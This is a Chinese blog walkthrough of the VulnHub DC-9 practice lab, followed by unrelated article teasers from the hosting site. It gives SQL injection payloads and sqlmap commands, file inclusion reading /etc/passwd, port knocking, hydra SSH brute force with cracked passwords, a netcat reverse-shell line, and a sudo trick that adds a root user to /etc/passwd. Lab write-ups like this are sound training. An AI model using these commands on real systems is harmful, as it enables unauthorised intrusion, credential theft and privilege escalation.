VulnHub DC-9

🍬 博主介绍👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

一、信息收集

1.主机扫描

扫描到靶机IP:192.168.103.209

┌──(root💀kali)-[~/桌面]
└─# arp-scan -l

2.端口扫描

DC靶场系列的老样子,22、80端口

但是发现22端口关闭了,一般渗透都是需要ssh连接或者说反弹shell之类的都是需要22端口开启的 ,所有说,后面我们会尝试把22端口开启

┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A -p- 192.168.103.209

3.web页面

访问80端口:

点击manage,跳出登录窗口

后续应该要收集信息,收集账号密码,登录

4.目录扫描

/config.php、/includes、/display.php、/search.php、/search.php

┌──(root💀kali)-[~/桌面]
└─# dirsearch -u http://192.168.103.209

1./config.php

没有发现什么有价值的信息

2./includes

3.search.php

点击search ,有个输入框,可以试试有没有sql注入

输入框里面,输入1'or 1=1# 验证是否有sql注入

发现,跳转到了这个界面,说明此页面应该是有SQL注入

可以看出来,这个sql注入,是POST注入的

5.sql注入

一、手工注入

求列数:

search=1' union select 1,2,3,4,5,6#

求数据库

search=1' union select 1,2,3,4,5,database()#

求表

search=1' union select 1,2,3,4,5,(select group_concat(table_name) from information_schema.tables where table_schema=database())#

求字段

search=1' union select 1,2,3,4,5,(select group_concat(column_name) from information_schema.columns where table_name='Users')#

查看Username,Password字段的值

search=1' union select 1,2,3,4,5,(select group_concat(concat_ws('~',Username,Password)) from Users)#

┌──(root💀kali)-[~/桌面]
└─# hash-identifier "856f5de590ef37314e7c3bdf6f8a66dc"
判断密码是MD5加密的
账号:admin
密码:transorbital1

二、sqlmap一把梭
sqlmap -u "http://192.168.103.209/results.php" --data="search=1" --batch  #查看是否存在漏洞sqlmap -u "http://192.168.103.209/results.php" --data="search=1" --batch --dbs  #查看库sqlmap -u "http://192.168.103.209/results.php" --data="search=1" --batch -D users --tables #查看表sqlmap -u "http://192.168.103.209/results.php" --data="search=1" --batch -D users -T UserDetails --dump  #列出管理员账号密码(爆表)

都是员工账号和密码,先放着不管了,再去把另一个数据库staff的数据表也爆一下,

sqlmap -u "http://192.168.103.209/results.php" --data "search=1" -D Staff -tablessqlmap -u "http://192.168.103.209/results.php" --data "search=1" -D Staff -T Users --dump -batch

账号密码:

admin | 856f5de590ef37314e7c3bdf6f8a66dc (transorbital1)  

6.登录web页面

账号:admin
密码:transorbital1

点击Add Record

猜测可能存在文件包含漏洞,所以在manage.php的url处,接入file参数,读取/etc/passwd文件,在url后面加入?file=../../../../etc/passwd,顺利读取到/etc/passwd文件

但是到这里不知该怎么进行下去了,我们再从头看看,发现22端口的流量被过滤了,所以查阅了一些资料,看了看一些教程,猜测这里可能存在knockd服务

https://www.cnblogs.com/f-carey/p/16066178.htmlicon-default.png?t=N7T8https://www.cnblogs.com/f-carey/p/16066178.html

knockd服务:
端口敲门服务,即:knockd服务。
该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,
使系统开启需要访问的服务端口,才能对外访问。
不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。//默认文件是:
/etc/knockd.conf

接下来我们就是需要对其ssh依次敲门了,然后打开ssh服务,进行ssh远程连接

通过文件包含读取knockd的默认配置文件/etc/knockd.conf

依次对7469、8475、9842端口进行敲门,然后就可以开门,命令

nmap -p 7469 192.168.103.209
nmap -p 8475 192.168.103.209
nmap -p 9842 192.168.103.209

依次访问之后,重新扫描22端口,可发现ssh服务已经开启,可以访问

把这里面的password和username保存在本地文件

后面用九头蛇爆破然后利用ssh远程连接

然后使用两个字典进行爆破

┌──(root💀kali)-[~/桌面]
└─# hydra 192.168.103.209 -L user.txt -P passwd.txt ssh

爆破的账号密码如下:

用户                    密码
chandlerb              UrAG0D!
joeyt                  Passw0rd
janitor                Ilovepeepee

二、漏洞利用

1.ssh连接

1.chandlerb远程连接,没有发现什么目录

┌──(root💀kali)-[~/桌面]
└─# ssh chandlerb@192.168.103.209

2.joeyt

也是一样

3.janitor

多了一个文件:.secrets-for-putin

新发现了很多的账号和密码

把这些都添加到开始的账号密码文件中

passwords-found-on-post-it-notes.txt  #密码/home  #账号

┌──(root💀kali)-[~/桌面]
└─# hydra 192.168.103.209 -L user.txt -P passwd.txt ssh

新的账号和密码:

账号:fredf
密码:B4-Tru3-001
┌──(root💀kali)-[~/桌面]
└─# ssh fredf@192.168.103.209 

2.sudo -l提权

就是以root权限会进行执行/opt/devstuff/dist/test这个文件

所有我们接下来要进入这个文件中,然后进行写入木马,然后进行反弹shell,然后拿到root权限

echo 'nc -nv 192.168.103.129 1234 -c bash'>>/opt/devstuff/dist/test/test

发现权限不够,写入失败

3.openssl账户密码加密

再回到上一个目录查看,在/opt/devstuff目录下发现了一个test.py脚本文件

这是一个写入文件的脚本,生成一个密码用root权限执行脚本写入/etc/passwd文件,所以我们现在就需要构造一个拥有root权限的用户,并且在/etc/passwd文件中储存,只要使用这个用户登录后,就可以获取到root权限

现在我们回到kali,使用openssl工具创建一个本地的加密用户,

┌──(root💀kali)-[~/桌面]
└─# openssl passwd -1 -salt admin1 admin1
$1$admin1$QDqsIRd5/oAdiXk0vdS1C/

跳转到/opt/devstuff/dist/test目录下使用echo命令在/tmp目录下创建一个文件,文件名自定义就行,我使用test2

echo 'admin1:$1$admin1$QDqsIRd5/oAdiXk0vdS1C/:0:0::/root:/bin/bash' >> /tmp/test2

执行sudo命令的时候,要在/opt/devstuff/dist/test目录下执行

用sudo命令执行test文件将/tmp/test2的内容写入到/etc/passwd文件中

sudo ./test /tmp/test2 /etc/passwd

4.flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/159926.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2011-2022年地级市互联网普及率数据

2011-2022年地级市互联网普及率数据 1、时间:2011-2022年 2、指标:行政区划代码、年份、地区、互联网宽带接入用户_千户、常住人口数_千人、户籍人口数_千人、每百人互联网宽带用户_常住人口口径、每百人互联网宽带用户_户籍人口口径 3、来源&#xf…

c语言编程(模考2)

简答题1 从键盘输入10个数&#xff0c;统计非正数的个数&#xff0c;并且计算非正数的和 #include<stdio.h> int main() {int i,n0,sum0;int a[10];printf("请输入10个数&#xff1a;");for(i0;i<10;i){scanf("%d",&a[i]);}for(i0;i<10…

【C++】类型转换

文章目录 C语言中的类型转换为什么C需要四种类型转换C强制类型转换static_castreinterpret_castconst_castdynamic_cast RTTI常见面试题 C语言中的类型转换 在C语言中&#xff0c;如果 赋值运算符左右两侧类型不同&#xff0c;或者形参与实参类型不匹配&#xff0c;或者返回值…

12英寸双轴半自动划片机:颠覆传统划切工艺的五大优势

随着科技的飞速发展&#xff0c;半导体行业对精密划切设备的需求日益增长。在这篇文章中&#xff0c;我们将深入探讨12英寸双轴半自动划片机的优势&#xff0c;这种划片机在半导体制造过程中扮演着至关重要的角色。以下是这种划片机的五大优势。 一、高精度划切 12英寸双轴半自…

【数据结构初阶】栈和队列

栈和队列 1.栈1.1栈的概念和结构1.2栈的实现 2.队列2.1队列的概念和结构2.2队列的实现 1.栈 1.1栈的概念和结构 栈&#xff1a;一种特殊的线性表&#xff0c;其只允许在固定的一端进行插入和删除元素操作。进行数据插入和删除操作的一端称为栈顶&#xff0c;另一端称为栈底。…

OSG文字-HUD显示汉字示例(3)

显示文字是一种非常实用的技术&#xff0c;可以用来把一些重要的文字始终显示在屏幕上。HUD的全称是HeadsUpDisplay&#xff0c;即抬头显示&#xff0c;这种技术最早应用在军事战斗机上。 创建HUD显示的基本步骤如下: <1> 创建一个osg::Camera对象&#xff0c;设置视图、…

【CSH 入门基础 11 -- csh 判断命令是否执行成功】

文章目录 CSH 命令执行情况判断BASH 命令执行情况判断CSH 命令执行情况判断 在 csh 或 tcsh 脚本中,可以使用 $status 变量来检查上一个命令的退出状态。如果 $status 的值为零 (0),这表示上一个命令执行成功。任何非零值表示命令执行失败。 以下是一个 csh 脚本的示例,它执…

kubernetes学习-概念3

工作负载资源 Kubernetes 提供了几个内置的 API 来声明式管理工作负载及其组件。 最终&#xff0c;你的应用以容器的形式在 Pods 中运行&#xff1b; 但是&#xff0c;直接管理单个 Pod 的工作量将会非常繁琐。例如&#xff0c;如果一个 Pod 失败了&#xff0c;你可能希望运行…

lombok 引入

lombok 依赖--><dependency><groupId>org.projectlombok</groupId><artifactId>lombok</artifactId></dependency>

ARCGIS网络分析

一、实验名称&#xff1a; 网络分析 二、实验目的&#xff1a; 通过本实验练习&#xff0c;掌握空间数据网络分析的基本方法。 三、实验内容和要求&#xff1a; 实验内容&#xff1a; 利用ARCGIS软件网络分析工具及相关空间数据&#xff0c;查找距离“名人故居”、“博物…

Linux-进程替换

进程程序替换目的 首先我们要知道&#xff0c;创建子进程的目的是什么&#xff1f; 想让子进程执行父进程代码的一部分想让子进程执行一个全新的代码 我们之前所写的程序&#xff0c;子进程都是在执行父进程代码的一部分&#xff0c;而要想让子进程执行全新的代码&#xff0…

Mysql 8.0主从复制模式安装(兼容Mysql 5.7)

Mysql V8.0.35安装 官网地址&#xff1a;MySQL :: Download MySQL Community Server 下载【Mysql 8.0.35】压缩包 解压压缩包&#xff0c;仅保留6个安装文件即可 mysql-community-client-8.0.31-1.el7.x86_64.rpm mysql-community-client-plugins-8.0.31-1.el7.x86_64.rpm my…

马斯克震撼演讲:我想创立一个新世界

目录 1拼多多杀入大模型领域&#xff1a;年薪百万招聘人才 2马斯克震撼演讲&#xff1a;我想创立一个新世界 3文心4.0上线首交答卷&#xff1a;百度2023Q3成色如何 1拼多多杀入大模型领域&#xff1a;年薪百万招聘人才 快科技11月22日消息&#xff0c;据国内媒体报道&#x…

Java判断字符串当中是否包含中文内容

代码如下&#xff1a; public static void main(String[] args_) throws Exception {String str1 "zhang张123";String str2 "zhang123";System.out.println(checkStringType(str1)); // 包含中文字符System.out.println(checkStringType(str2)); // 不包…

独立按键去抖动

/*----------------------------------------------- 内容&#xff1a;切换到独立按键模式&#xff0c;通过按键在数码管显示对应的数字 ------------------------------------------------*/ #include<reg52.h> //包含头文件&#xff0c;一般情况不需要改动&#xff0…

Linux C IO复用

IO复用 概述IO模型阻塞式IO非阻塞式IOIO复用select、poll、epoll异同 信号驱动式IO异步IO select函数select示例代码 poll函数poll示例代码 epoll函数创建  epoll_create注册、修改、删除  epoll_ctl轮询 I/O 事件的发生  epoll_waitepoll示例代码 基于TCP和epoll在线多人…

形态学操作—闭运算

闭运算&#xff08;Closing&#xff09;是图像形态学中的一种操作&#xff0c;它结合了膨胀&#xff08;Dilation&#xff09;和腐蚀&#xff08;Erosion&#xff09;操作。闭运算的原理是先对图像执行腐蚀操作&#xff0c;然后再进行膨胀操作。这个过程能够消除图像中的小孔洞…

OpenCV 中Mat.depth()的理解——每个像素的位数——每个像素中每个通道的精度

文章目录 1 图像深度的意义2 depth()与图像显示的映射关系2.1 CV_xS|U|FCx2.2 显示图像转换1 图像深度的意义 depth:深度,即每一个像素的位数(bits),那么我们创建的时候就可以知道根据类型也就可以知道每个像素的位数,也就是知道了创建mat的深度。这个depth() 是我们在定…

赞!优雅的Python多环境管理神器!易上手易操作!

前言 Python 的不同版本之间常常存在依赖关系和兼容性问题&#xff0c;为了方便开发人员在 不同项目中使用不同的版本 。 如果大家使用过Python版本管理工具&#xff0c;肯定大多数人使用的都是Anaconda&#xff0c;它是一个优秀的数据科学开发环境&#xff0c;本身也提供了丰…

通达信吊灯止损指标公式,根据波动幅度自动调整止盈止损

吊灯止损指标是由查克勒博(Chuck LeBeau)发明的&#xff0c;亚历山大埃尔德(Alexander Elder)在其著作《走进我的交易室》中介绍了这种止盈止损方法&#xff08;中文版翻译为倒挂式离场法则&#xff09;&#xff0c;它是根据平均真实波幅ATR设置跟踪止损。吊灯止损指标的目的是…